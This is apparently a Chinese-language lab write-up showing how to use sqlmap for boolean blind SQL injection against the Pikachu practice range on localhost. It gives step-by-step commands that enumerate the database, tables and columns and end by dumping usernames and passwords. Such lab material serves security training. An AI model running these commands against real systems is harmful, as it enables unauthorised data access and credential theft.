sqlmap是什么:
自动化SQL注入的接管工具。
sqlmap经典用法:
第一步:
-u “xxx” --cookie=“yyy” //带上cookie对URL进行注入测试;
第二步:
-u “xxx” --cookie=“yyy” -current-db //对数据库进行获取;
第三步:
-u “xxx” --cookie=“yyy” -D pikachu --tables //对数据库的表名进行枚举;
第四步:
-u “xxx” --cookie=“yyy” -D pikachu -T users --colunms //对数据库中名为users表的列名进行枚举进行枚举;
实验环境:
皮卡丘靶场—盲注(base on boolean)
实验步骤:
-
找到对应的输入点;
-
提交字符串:1111,发现他是一个get请求:
http://localhost/pikaqiu.cn/vul/sqli/sqli_blind_b.php?name=1111&submit=%E6%9F%A5%E8%AF%A2 -
使用sqlmap对该注入点进行注入:
sqlmap.py -u “http://localhost/pikaqiu.cn/vul/sqli/sqli_blind_b.php?name=1111&submit=%E6%9F%A5%E8%AF%A2”
显示name字段存在SQL注入漏洞 -
不继续测试下面的漏洞,终止注入查看第一个报错信息:
根据报错信息可以查看其注入类型,,数据库版本,payload等 -
根据提供的payload,继续获取当前数据库名称:
sqlmap.py -u “http://localhost/pikaqiu.cn/vul/sqli/sqli_blind_b.php?name=1111&submit=%E6%9F%A5%E8%AF%A2” --current-db
获取到当前数据库名称为pikachu -
获取数据库名称后,继续探测里面的表:
sqlmap.py -u “http://localhost/pikaqiu.cn/vul/sqli/sqli_blind_b.php?name=1111&submit=%E6%9F%A5%E8%AF%A2” -D pikachu --tables
获取到数据库中的表: -
再对表中的列进行遍历:
sqlmap.py -u “http://localhost/pikaqiu.cn/vul/sqli/sqli_blind_b.php?name=1111&submit=%E6%9F%A5%E8%AF%A2” -D pikachu -T users --columns
获取列名: -
根据列名获取username和password:
sqlmap.py -u “http://localhost/pikaqiu.cn/vul/sqli/sqli_blind_b.php?name=1111&submit=%E6%9F%A5%E8%AF%A2” -D pikachu -T users -C username,password --dump
获取了用户名和密码: